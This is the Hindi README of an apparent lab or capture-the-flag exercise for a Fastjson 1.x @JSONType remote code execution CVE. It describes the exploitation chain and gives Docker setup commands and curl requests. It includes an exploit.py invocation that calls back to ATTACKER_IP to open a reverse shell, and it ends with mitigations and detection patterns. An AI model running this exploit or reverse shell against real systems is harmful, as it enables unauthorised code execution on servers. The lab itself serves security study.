
CVE-2026-16723 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Fastjson 1.x @JSONType रिमोट कोड एक्ज़ीक्यूशन फ्लॉ है, जिसमें एक पेलोड JAR बिल्डर और रिवर्स-शेल लिसनर शामिल है।
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 Fastjson 1.x (1.2.68 – 1.2.83) में एक रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है। जब Fastjson हमलावर-नियंत्रित JSON को पार्स करता है, तो एक तैयार किया गया
@typeमानcheckAutoTypeके अंदर एक क्लास-रिसोर्स लुकअप में बदल जाता है। एक Spring Boot executable fat-JAR में क्लास लोडर उस नाम कोjar:http://URL के रूप में रिज़ॉल्व करता है और एक रिमोट JAR (SSRF) फ़ेच करता है, फिर@JSONTypeएनोटेशन वाली एक क्लास लोड करता है, भले ही AutoType अक्षम हो। चूँकि एक आधुनिक JDK / Tomcatjar:http://बाइनरी नाम को अस्वीकार करता है, विश्वसनीय वेरिएंट JAR को JVM कैश में सीड करता है और उसेjar:file:/proc/self/fd/Nके माध्यम से दोबारा पढ़ता है, जिससे क्लास परिभाषित हो जाती है और उसका स्टैटिक इनिशियलाइज़र चलता है, जिससे कोड एक्ज़ीक्यूशन मिलता है। AutoType अक्षम ही रहता है और किसी क्लासपाथ गैजेट की आवश्यकता नहीं होती।
| श्रेणी | संस्करण |
|---|---|
| भेद्य | Fastjson 1.2.68 ≤ version ≤ 1.2.83 |
| पैच किया गया | Fastjson 2.x पर माइग्रेट करें (कोई फिक्स्ड 1.x रिलीज़ नहीं) |
लैब लक्ष्य एक सार्वजनिक स्टोरफ्रंट (Northwind Store) है जिसका सर्च API
अपने रिक्वेस्ट बॉडी को Fastjson के साथ बाइंड करता है। सब कुछ Fastjson का स्टॉक डिफ़ॉल्ट है:
SafeMode बंद, AutoType बंद, Spring Boot fat-JAR के रूप में पैकेज्ड।
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| पूर्वापेक्षा | इस लैब में स्थिति |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot executable fat-JAR | हाँ |
| अनऑथेंटिकेटेड JSON पार्स पथ | POST /api/products/search |
| SafeMode / AutoType | डिफ़ॉल्ट (दोनों बंद) |
हमलावर और लक्ष्य एक ही Docker ब्रिज नेटवर्क पर चलते हैं, इसलिए लक्ष्य हमलावर तक एक आउटबाउंड कनेक्शन के रूप में पहुँचता है (कोई अतिरिक्त पोर्ट प्रकाशित नहीं होता)।
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py पेलोड JAR बनाता है, उसे सर्व करता है, एक लिसनर शुरू करता है, और
रिक्वेस्ट बॉडी प्रिंट करता है। केवल कॉलबैक पता आवश्यक है।
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
प्रिंट की गई बॉडी को सर्च एंडपॉइंट (Burp Repeater या curl) में पेस्ट करें और
उसे भेजें। सर्च रिक्वेस्ट एक सामान्य सुविधा है; केवल उसकी JSON बॉडी तैयार की गई है।
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
कोड सेवा खाते के रूप में चलता है। प्राप्त शेल के माध्यम से फ्लैग प्राप्त करें:
whoami
com.alibaba:fastjson:1.2.83_noneautotype चलाएँ-Dfastjson.parser.safeMode=true के साथ शुरू करें@type मान जिनमें jar:http या jar:file / /proc/self/fd पैटर्न हों